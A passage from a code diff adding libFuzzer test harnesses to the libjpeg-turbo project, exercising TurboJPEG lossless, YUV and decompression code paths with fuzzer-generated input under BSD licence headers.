int bottomUp;
|
||||
enum TJPF pf;
|
||||
int precision, psv, pt, noRealloc, restartRows;
|
||||
};
|
||||
|
||||
|
||||
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
|
||||
{
|
||||
tjhandle handle = NULL;
|
||||
short *imgBuf = NULL, *srcBuf;
|
||||
unsigned char *dstBuf = NULL;
|
||||
int width = 0, height = 0, ti;
|
||||
FILE *file = NULL;
|
||||
struct test tests[NUMTESTS] = {
|
||||
/*
|
||||
BU Pixel Data PSV Pt No Rst
|
||||
Format Prec Realc Rows */
|
||||
{ 1, TJPF_RGB, 12, 1, 0, 1, 1 },
|
||||
{ 0, TJPF_BGR, 11, 2, 2, 1, 0 },
|
||||
{ 0, TJPF_RGBX, 10, 3, 4, 0, 0 },
|
||||
{ 0, TJPF_BGRA, 9, 4, 7, 1, 0 },
|
||||
{ 0, TJPF_XRGB, 12, 5, 5, 1, 0 },
|
||||
{ 0, TJPF_GRAY, 12, 6, 3, 1, 0 },
|
||||
{ 0, TJPF_CMYK, 12, 7, 0, 1, 1 }
|
||||
};
|
||||
|
||||
if ((file = fmemopen((void *)data, size, "r")) == NULL)
|
||||
goto bailout;
|
||||
|
||||
if ((handle = tj3Init(TJINIT_COMPRESS)) == NULL)
|
||||
goto bailout;
|
||||
|
||||
for (ti = 0; ti < NUMTESTS; ti++) {
|
||||
int pf = tests[ti].pf;
|
||||
size_t dstSize = 0, maxBufSize, i, sum = 0;
|
||||
|
||||
/* Test non-default compression options on specific iterations. */
|
||||
tj3Set(handle, TJPARAM_BOTTOMUP, tests[ti].bottomUp);
|
||||
tj3Set(handle, TJPARAM_NOREALLOC, tests[ti].noRealloc);
|
||||
tj3Set(handle, TJPARAM_PRECISION, tests[ti].precision);
|
||||
tj3Set(handle, TJPARAM_RESTARTROWS, tests[ti].restartRows);
|
||||
|
||||
tj3Set(handle, TJPARAM_MAXPIXELS, 1048576);
|
||||
/* tj3LoadImage12() will refuse to load images larger than 1 Megapixel, so
|
||||
we don't need to check the width and height here. */
|
||||
fseek(file, 0, SEEK_SET);
|
||||
if ((imgBuf = _tj3LoadImageFromFileHandle12(handle, file, &width, 1,
|
||||
&height, &pf)) == NULL) {
|
||||
if (size < 2)
|
||||
continue;
|
||||
|
||||
/* Derive image dimensions from input data. Use first 2 bytes to
|
||||
influence width/height. */
|
||||
width = (data[0] % 64) + 8; /* 8-71 */
|
||||
height = (data[1] % 64) + 8; /* 8-71 */
|
||||
|
||||
size_t required_size = 2 + (size_t)width * height *
|
||||
tjPixelSize[tests[ti].pf] * 2;
|
||||
if (size < required_size) {
|
||||
/* Not enough data - try smaller dimensions */
|
||||
width = 8;
|
||||
height = 8;
|
||||
required_size = 2 + (size_t)width * height *
|
||||
tjPixelSize[tests[ti].pf] * 2;
|
||||
if (size < required_size)
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Skip header bytes. */
|
||||
srcBuf = (short *)(data + 2);
|
||||
} else
|
||||
srcBuf = imgBuf;
|
||||
|
||||
dstSize = maxBufSize = tj3JPEGBufSize(width, height, TJSAMP_444);
|
||||
if (tj3Get(handle, TJPARAM_NOREALLOC)) {
|
||||
if ((dstBuf = (unsigned char *)tj3Alloc(dstSize)) == NULL)
|
||||
goto bailout;
|
||||
} else
|
||||
dstBuf = NULL;
|
||||
|
||||
if (size >= 34)
|
||||
tj3SetICCProfile(handle, (unsigned char *)&data[2], 32);
|
||||
|
||||
tj3Set(handle, TJPARAM_LOSSLESS, 1);
|
||||
tj3Set(handle, TJPARAM_LOSSLESSPSV, tests[ti].psv);
|
||||
tj3Set(handle, TJPARAM_LOSSLESSPT, tests[ti].pt);
|
||||
if (tj3Compress12(handle, srcBuf, width, 0, height, pf, &dstBuf,
|
||||
&dstSize) == 0) {
|
||||
/* Touch all of the output data in order to catch uninitialized reads
|
||||
when using MemorySanitizer. */
|
||||
for (i = 0; i < dstSize; i++)
|
||||
sum += dstBuf[i];
|
||||
}
|
||||
|
||||
tj3Free(dstBuf);
|
||||
dstBuf = NULL;
|
||||
tj3Free(imgBuf);
|
||||
imgBuf = NULL;
|
||||
|
||||
/* Prevent the sum above from being optimized out. This test should never
|
||||
be true, but the compiler doesn't know that. */
|
||||
if (sum > 255 * maxBufSize)
|
||||
goto bailout;
|
||||
}
|
||||
|
||||
bailout:
|
||||
tj3Free(dstBuf);
|
||||
tj3Free(imgBuf);
|
||||
if (file) fclose(file);
|
||||
tj3Destroy(handle);
|
||||
return 0;
|
||||
}
|
||||
+157
@@ -0,0 +1,157 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2026 D. R. Commander. All Rights Reserved.
|
||||
* Copyright (C) 2025 Leslie P. Polzer. All Rights Reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
* - Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
* - Neither the name of the libjpeg-turbo Project nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from this
|
||||
* software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS",
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include "../src/turbojpeg.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
extern "C" unsigned short *
|
||||
_tj3LoadImageFromFileHandle16(tjhandle handle, FILE *file, int *width,
|
||||
int align, int *height, int *pixelFormat);
|
||||
|
||||
|
||||
#define NUMTESTS 7
|
||||
|
||||
|
||||
struct test {
|
||||
int bottomUp;
|
||||
enum TJPF pf;
|
||||
int precision, psv, pt, noRealloc, restartRows;
|
||||
};
|
||||
|
||||
|
||||
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
|
||||
{
|
||||
tjhandle handle = NULL;
|
||||
unsigned short *imgBuf = NULL, *srcBuf;
|
||||
unsigned char *dstBuf = NULL;
|
||||
int width = 0, height = 0, ti;
|
||||
FILE *file = NULL;
|
||||
struct test tests[NUMTESTS] = {
|
||||
/*
|
||||
BU Pixel Data PSV Pt No Rst
|
||||
Format Prec Realc Rows */
|
||||
{ 1, TJPF_RGB, 16, 1, 0, 1, 1 },
|
||||
{ 0, TJPF_BGR, 15, 2, 2, 1, 0 },
|
||||
{ 0, TJPF_RGBX, 14, 3, 4, 0, 0 },
|
||||
{ 0, TJPF_BGRA, 13, 4, 7, 1, 0 },
|
||||
{ 0, TJPF_XRGB, 16, 5, 5, 1, 0 },
|
||||
{ 0, TJPF_GRAY, 16, 6, 3, 1, 0 },
|
||||
{ 0, TJPF_CMYK, 16, 7, 0, 1, 1 }
|
||||
};
|
||||
|
||||
if ((file = fmemopen((void *)data, size, "r")) == NULL)
|
||||
goto bailout;
|
||||
|
||||
if ((handle = tj3Init(TJINIT_COMPRESS)) == NULL)
|
||||
goto bailout;
|
||||
|
||||
for (ti = 0; ti < NUMTESTS; ti++) {
|
||||
int pf = tests[ti].pf;
|
||||
size_t dstSize = 0, maxBufSize, i, sum = 0;
|
||||
|
||||
/* Test non-default compression options on specific iterations. */
|
||||
tj3Set(handle, TJPARAM_BOTTOMUP, tests[ti].bottomUp);
|
||||
tj3Set(handle, TJPARAM_NOREALLOC, tests[ti].noRealloc);
|
||||
tj3Set(handle, TJPARAM_PRECISION, tests[ti].precision);
|
||||
tj3Set(handle, TJPARAM_RESTARTROWS, tests[ti].restartRows);
|
||||
|
||||
tj3Set(handle, TJPARAM_MAXPIXELS, 1048576);
|
||||
/* tj3LoadImage16() will refuse to load images larger than 1 Megapixel, so
|
||||
we don't need to check the width and height here. */
|
||||
fseek(file, 0, SEEK_SET);
|
||||
if ((imgBuf = _tj3LoadImageFromFileHandle16(handle, file, &width, 1,
|
||||
&height, &pf)) == NULL) {
|
||||
if (size < 2)
|
||||
continue;
|
||||
|
||||
/* Derive image dimensions from input data. Use first 2 bytes to
|
||||
influence width/height. */
|
||||
width = (data[0] % 64) + 8; /* 8-71 */
|
||||
height = (data[1] % 64) + 8; /* 8-71 */
|
||||
|
||||
size_t required_size = 2 + (size_t)width * height *
|
||||
tjPixelSize[tests[ti].pf] * 2;
|
||||
if (size < required_size) {
|
||||
/* Not enough data - try smaller dimensions */
|
||||
width = 8;
|
||||
height = 8;
|
||||
required_size = 2 + (size_t)width * height *
|
||||
tjPixelSize[tests[ti].pf] * 2;
|
||||
if (size < required_size)
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Skip header bytes. */
|
||||
srcBuf = (unsigned short *)(data + 2);
|
||||
} else
|
||||
srcBuf = imgBuf;
|
||||
|
||||
dstSize = maxBufSize = tj3JPEGBufSize(width, height, TJSAMP_444);
|
||||
if (tj3Get(handle, TJPARAM_NOREALLOC)) {
|
||||
if ((dstBuf = (unsigned char *)tj3Alloc(dstSize)) == NULL)
|
||||
goto bailout;
|
||||
} else
|
||||
dstBuf = NULL;
|
||||
|
||||
if (size >= 34)
|
||||
tj3SetICCProfile(handle, (unsigned char *)&data[2], 32);
|
||||
|
||||
tj3Set(handle, TJPARAM_LOSSLESS, 1);
|
||||
tj3Set(handle, TJPARAM_LOSSLESSPSV, tests[ti].psv);
|
||||
tj3Set(handle, TJPARAM_LOSSLESSPT, tests[ti].pt);
|
||||
if (tj3Compress16(handle, srcBuf, width, 0, height, pf, &dstBuf,
|
||||
&dstSize) == 0) {
|
||||
/* Touch all of the output data in order to catch uninitialized reads
|
||||
when using MemorySanitizer. */
|
||||
for (i = 0; i < dstSize; i++)
|
||||
sum += dstBuf[i];
|
||||
}
|
||||
|
||||
tj3Free(dstBuf);
|
||||
dstBuf = NULL;
|
||||
tj3Free(imgBuf);
|
||||
imgBuf = NULL;
|
||||
|
||||
/* Prevent the sum above from being optimized out. This test should never
|
||||
be true, but the compiler doesn't know that. */
|
||||
if (sum > 255 * maxBufSize)
|
||||
goto bailout;
|
||||
}
|
||||
|
||||
bailout:
|
||||
tj3Free(dstBuf);
|
||||
tj3Free(imgBuf);
|
||||
if (file) fclose(file);
|
||||
tj3Destroy(handle);
|
||||
return 0;
|
||||
}
|
||||
Executable
+156
@@ -0,0 +1,156 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2026 D. R. Commander. All Rights Reserved.
|
||||
* Copyright (C) 2025 Leslie P. Polzer. All Rights Reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
* - Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
* - Neither the name of the libjpeg-turbo Project nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from this
|
||||
* software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS",
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include "../src/turbojpeg.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
extern "C" unsigned char *
|
||||
_tj3LoadImageFromFileHandle8(tjhandle handle, FILE *file, int *width,
|
||||
int align, int *height, int *pixelFormat);
|
||||
|
||||
|
||||
#define NUMTESTS 7
|
||||
|
||||
|
||||
struct test {
|
||||
int bottomUp;
|
||||
enum TJPF pf;
|
||||
int precision, psv, pt, noRealloc, restartRows;
|
||||
};
|
||||
|
||||
|
||||
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
|
||||
{
|
||||
tjhandle handle = NULL;
|
||||
unsigned char *imgBuf = NULL, *srcBuf, *dstBuf = NULL;
|
||||
int width = 0, height = 0, ti;
|
||||
FILE *file = NULL;
|
||||
struct test tests[NUMTESTS] = {
|
||||
/*
|
||||
BU Pixel Data PSV Pt No Rst
|
||||
Format Prec Realc Rows */
|
||||
{ 0, TJPF_RGB, 8, 1, 0, 1, 1 },
|
||||
{ 0, TJPF_BGR, 7, 2, 5, 1, 0 },
|
||||
{ 0, TJPF_RGBX, 6, 3, 4, 0, 0 },
|
||||
{ 0, TJPF_BGRA, 5, 4, 1, 1, 0 },
|
||||
{ 1, TJPF_XRGB, 4, 5, 3, 1, 0 },
|
||||
{ 0, TJPF_GRAY, 3, 6, 2, 1, 0 },
|
||||
{ 0, TJPF_CMYK, 2, 7, 0, 1, 1 }
|
||||
};
|
||||
|
||||
if ((file = fmemopen((void *)data, size, "r")) == NULL)
|
||||
goto bailout;
|
||||
|
||||
if ((handle = tj3Init(TJINIT_COMPRESS)) == NULL)
|
||||
goto bailout;
|
||||
|
||||
for (ti = 0; ti < NUMTESTS; ti++) {
|
||||
int pf = tests[ti].pf;
|
||||
size_t dstSize = 0, maxBufSize, i, sum = 0;
|
||||
|
||||
/* Test non-default compression options on specific iterations. */
|
||||
tj3Set(handle, TJPARAM_BOTTOMUP, tests[ti].bottomUp);
|
||||
tj3Set(handle, TJPARAM_NOREALLOC, tests[ti].noRealloc);
|
||||
tj3Set(handle, TJPARAM_PRECISION, tests[ti].precision);
|
||||
tj3Set(handle, TJPARAM_RESTARTROWS, tests[ti].restartRows);
|
||||
|
||||
tj3Set(handle, TJPARAM_MAXPIXELS, 1048576);
|
||||
/* tj3LoadImage8() will refuse to load images larger than 1 Megapixel, so
|
||||
we don't need to check the width and height here. */
|
||||
fseek(file, 0, SEEK_SET);
|
||||
if ((imgBuf = _tj3LoadImageFromFileHandle8(handle, file, &width, 1,
|
||||
&height, &pf)) == NULL) {
|
||||
if (size < 2)
|
||||
continue;
|
||||
|
||||
/* Derive image dimensions from input data. Use first 2 bytes to
|
||||
influence width/height. */
|
||||
width = (data[0] % 64) + 8; /* 8-71 */
|
||||
height = (data[1] % 64) + 8; /* 8-71 */
|
||||
|
||||
size_t required_size = 2 + (size_t)width * height *
|
||||
tjPixelSize[tests[ti].pf];
|
||||
if (size < required_size) {
|
||||
/* Not enough data - try smaller dimensions */
|
||||
width = 8;
|
||||
height = 8;
|
||||
required_size = 2 + (size_t)width * height *
|
||||
tjPixelSize[tests[ti].pf];
|
||||
if (size < required_size)
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Skip header bytes. */
|
||||
srcBuf = (unsigned char *)data + 2;
|
||||
} else
|
||||
srcBuf = imgBuf;
|
||||
|
||||
dstSize = maxBufSize = tj3JPEGBufSize(width, height, TJSAMP_444);
|
||||
if (tj3Get(handle, TJPARAM_NOREALLOC)) {
|
||||
if ((dstBuf = (unsigned char *)tj3Alloc(dstSize)) == NULL)
|
||||
goto bailout;
|
||||
} else
|
||||
dstBuf = NULL;
|
||||
|
||||
if (size >= 34)
|
||||
tj3SetICCProfile(handle, (unsigned char *)&data[2], 32);
|
||||
|
||||
tj3Set(handle, TJPARAM_LOSSLESS, 1);
|
||||
tj3Set(handle, TJPARAM_LOSSLESSPSV, tests[ti].psv);
|
||||
tj3Set(handle, TJPARAM_LOSSLESSPT, tests[ti].pt);
|
||||
if (tj3Compress8(handle, srcBuf, width, 0, height, pf, &dstBuf,
|
||||
&dstSize) == 0) {
|
||||
/* Touch all of the output data in order to catch uninitialized reads
|
||||
when using MemorySanitizer. */
|
||||
for (i = 0; i < dstSize; i++)
|
||||
sum += dstBuf[i];
|
||||
}
|
||||
|
||||
tj3Free(dstBuf);
|
||||
dstBuf = NULL;
|
||||
tj3Free(imgBuf);
|
||||
imgBuf = NULL;
|
||||
|
||||
/* Prevent the sum above from being optimized out. This test should never
|
||||
be true, but the compiler doesn't know that. */
|
||||
if (sum > 255 * maxBufSize)
|
||||
goto bailout;
|
||||
}
|
||||
|
||||
bailout:
|
||||
tj3Free(dstBuf);
|
||||
tj3Free(imgBuf);
|
||||
if (file) fclose(file);
|
||||
tj3Destroy(handle);
|
||||
return 0;
|
||||
}
|
||||
Executable
+161
@@ -0,0 +1,161 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2026 D. R. Commander. All Rights Reserved.
|
||||
* Copyright (C) 2025 Leslie P. Polzer. All Rights Reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
* - Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
* - Neither the name of the libjpeg-turbo Project nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from this
|
||||
* software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS",
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include "../src/turbojpeg.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
extern "C" unsigned char *
|
||||
_tj3LoadImageFromFileHandle8(tjhandle handle, FILE *file, int *width,
|
||||
int align, int *height, int *pixelFormat);
|
||||
|
||||
|
||||
#define NUMTESTS 6
|
||||
|
||||
|
||||
struct test {
|
||||
int bottomUp;
|
||||
enum TJPF pf;
|
||||
enum TJSAMP subsamp;
|
||||
int fastDCT, quality, optimize, progressive, arithmetic, restartBlocks;
|
||||
};
|
||||
|
||||
|
||||
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
|
||||
{
|
||||
tjhandle handle = NULL;
|
||||
unsigned char *imgBuf = NULL, *srcBuf, *dstBuf = NULL, *yuvBuf = NULL;
|
||||
int width = 0, height = 0, ti;
|
||||
FILE *file = NULL;
|
||||
struct test tests[NUMTESTS] = {
|
||||
/*
|
||||
BU Pixel Subsampling Fst Qual Opt Prg Ari Rst
|
||||
Format Level DCT Blks */
|
||||
{ 0, TJPF_XBGR, TJSAMP_444, 1, 100, 0, 0, 0, 0 },
|
||||
{ 0, TJPF_XRGB, TJSAMP_422, 0, 90, 0, 1, 0, 4 },
|
||||
{ 0, TJPF_BGR, TJSAMP_420, 0, 75, 0, 0, 0, 0 },
|
||||
{ 0, TJPF_RGB, TJSAMP_411, 0, 50, 1, 0, 0, 0 },
|
||||
{ 0, TJPF_BGR, TJSAMP_GRAY, 0, 25, 0, 0, 1, 0 },
|
||||
{ 1, TJPF_GRAY, TJSAMP_GRAY, 1, 10, 0, 1, 1, 4 }
|
||||
};
|
||||
|
||||
if ((file = fmemopen((void *)data, size, "r")) == NULL)
|
||||
goto bailout;
|
||||
|
||||
if ((handle = tj3Init(TJINIT_COMPRESS)) == NULL)
|
||||
goto bailout;
|
||||
|
||||
for (ti = 0; ti < NUMTESTS; ti++) {
|
||||
int pf = tests[ti].pf;
|
||||
size_t dstSize = 0, maxBufSize, i, sum = 0;
|
||||
|
||||
/* Test non-default compression options on specific iterations. */
|
||||
tj3Set(handle, TJPARAM_BOTTOMUP, tests[ti].bottomUp);
|
||||
tj3Set(handle, TJPARAM_FASTDCT, tests[ti].fastDCT);
|
||||
tj3Set(handle, TJPARAM_OPTIMIZE, tests[ti].optimize);
|
||||
tj3Set(handle, TJPARAM_PROGRESSIVE, tests[ti].progressive);
|
||||
tj3Set(handle, TJPARAM_ARITHMETIC, tests[ti].arithmetic);
|
||||
tj3Set(handle, TJPARAM_NOREALLOC, 1);
|
||||
tj3Set(handle, TJPARAM_RESTARTBLOCKS, tests[ti].restartBlocks);
|
||||
|
||||
tj3Set(handle, TJPARAM_MAXPIXELS, 1048576);
|
||||
/* tj3LoadImage8() will refuse to load images larger than 1 Megapixel, so
|
||||
we don't need to check the width and height here. */
|
||||
fseek(file, 0, SEEK_SET);
|
||||
if ((imgBuf = _tj3LoadImageFromFileHandle8(handle, file, &width, 1,
|
||||
&height, &pf)) == NULL) {
|
||||
if (size < 2)
|
||||
continue;
|
||||
|
||||
/* Derive image dimensions from input data. Use first 2 bytes to
|
||||
influence width/height. These must be multiples of the maximum iMCU
|
||||
size for the subsampling levels we plan to test. */
|
||||
width = ((data[0] % 4) + 1) * 32; /* 32-128, multiple of 32 */
|
||||
height = ((data[1] % 8) + 1) * 16; /* 16-128, multiple of 16 */
|
||||
|
||||
size_t required_size = 2 + (size_t)width * height *
|
||||
tjPixelSize[tests[ti].pf];
|
||||
if (size < required_size) {
|
||||
/* Not enough data - try smaller dimensions */
|
||||
width = 32;
|
||||
height = 16;
|
||||
required_size = 2 + (size_t)width * height *
|
||||
tjPixelSize[tests[ti].pf];
|
||||
if (size < required_size)
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Skip header bytes. */
|
||||
srcBuf = (unsigned char *)data + 2;
|
||||
} else
|
||||
srcBuf = imgBuf;
|
||||
|
||||
dstSize = maxBufSize = tj3JPEGBufSize(width, height, tests[ti].subsamp);
|
||||
if ((dstBuf = (unsigned char *)tj3Alloc(dstSize)) == NULL)
|
||||
goto bailout;
|
||||
if ((yuvBuf =
|
||||
(unsigned char *)malloc(tj3YUVBufSize(width, 1, height,
|
||||
tests[ti].subsamp))) == NULL)
|
||||
goto bailout;
|
||||
|
||||
tj3Set(handle, TJPARAM_SUBSAMP, tests[ti].subsamp);
|
||||
tj3Set(handle, TJPARAM_QUALITY, tests[ti].quality);
|
||||
if (tj3EncodeYUV8(handle, srcBuf, width, 0, height, pf, yuvBuf, 1) == 0 &&
|
||||
tj3CompressFromYUV8(handle, yuvBuf, width, 1, height, &dstBuf,
|
||||
&dstSize) == 0) {
|
||||
/* Touch all of the output data in order to catch uninitialized reads
|
||||
when using MemorySanitizer. */
|
||||
for (i = 0; i < dstSize; i++)
|
||||
sum += dstBuf[i];
|
||||
}
|
||||
|
||||
tj3Free(dstBuf);
|
||||
dstBuf = NULL;
|
||||
free(yuvBuf);
|
||||
yuvBuf = NULL;
|
||||
tj3Free(imgBuf);
|
||||
imgBuf = NULL;
|
||||
|
||||
/* Prevent the sum above from being optimized out. This test should never
|
||||
be true, but the compiler doesn't know that. */
|
||||
if (sum > 255 * maxBufSize)
|
||||
goto bailout;
|
||||
}
|
||||
|
||||
bailout:
|
||||
tj3Free(dstBuf);
|
||||
free(yuvBuf);
|
||||
tj3Free(imgBuf);
|
||||
if (file) fclose(file);
|
||||
tj3Destroy(handle);
|
||||
return 0;
|
||||
}
|
||||
Executable
+146
@@ -0,0 +1,146 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2026 D. R. Commander. All Rights Reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
* - Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
* - Neither the name of the libjpeg-turbo Project nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from this
|
||||
* software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS",
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include "../src/turbojpeg.h"
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
|
||||
#define NUMPF 5
|
||||
|
||||
|
||||
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
|
||||
{
|
||||
tjhandle handle = NULL;
|
||||
void *dstBuf = NULL;
|
||||
int width = 0, height = 0, precision, sampleSize, pfi;
|
||||
/* TJPF_RGB-TJPF_BGR share the same code paths, as do TJPF_RGBX-TJPF_XRGB and
|
||||
TJPF_RGBA-TJPF_ARGB. Thus, the pixel formats below should be the minimum
|
||||
necessary to achieve full coverage. */
|
||||
enum TJPF pixelFormats[NUMPF] =
|
||||
{ TJPF_RGB, TJPF_BGRX, TJPF_ABGR, TJPF_GRAY, TJPF_CMYK };
|
||||
|
||||
if ((handle = tj3Init(TJINIT_DECOMPRESS)) == NULL)
|
||||
goto bailout;
|
||||
|
||||
/* We ignore the return value of tj3DecompressHeader(), because malformed
|
||||
JPEG images that might expose issues in libjpeg-turbo might also have
|
||||
header errors that cause tj3DecompressHeader() to fail. */
|
||||
tj3DecompressHeader(handle, data, size);
|
||||
width = tj3Get(handle, TJPARAM_JPEGWIDTH);
|
||||
height = tj3Get(handle, TJPARAM_JPEGHEIGHT);
|
||||
precision = tj3Get(handle, TJPARAM_PRECISION);
|
||||
sampleSize = (precision > 8 ? 2 : 1);
|
||||
|
||||
/* Ignore 0-pixel images and images larger than 1 Megapixel, as Google's
|
||||
OSS-Fuzz target for libjpeg-turbo did. Casting width to (uint64_t)
|
||||
prevents integer overflow if width * height > INT_MAX. */
|
||||
if (width < 1 || height < 1 || (uint64_t)width * height > 1048576)
|
||||
goto bailout;
|
||||
|
||||
tj3Set(handle, TJPARAM_SCANLIMIT, 100);
|
||||
|
||||
for (pfi = 0; pfi < NUMPF; pfi++) {
|
||||
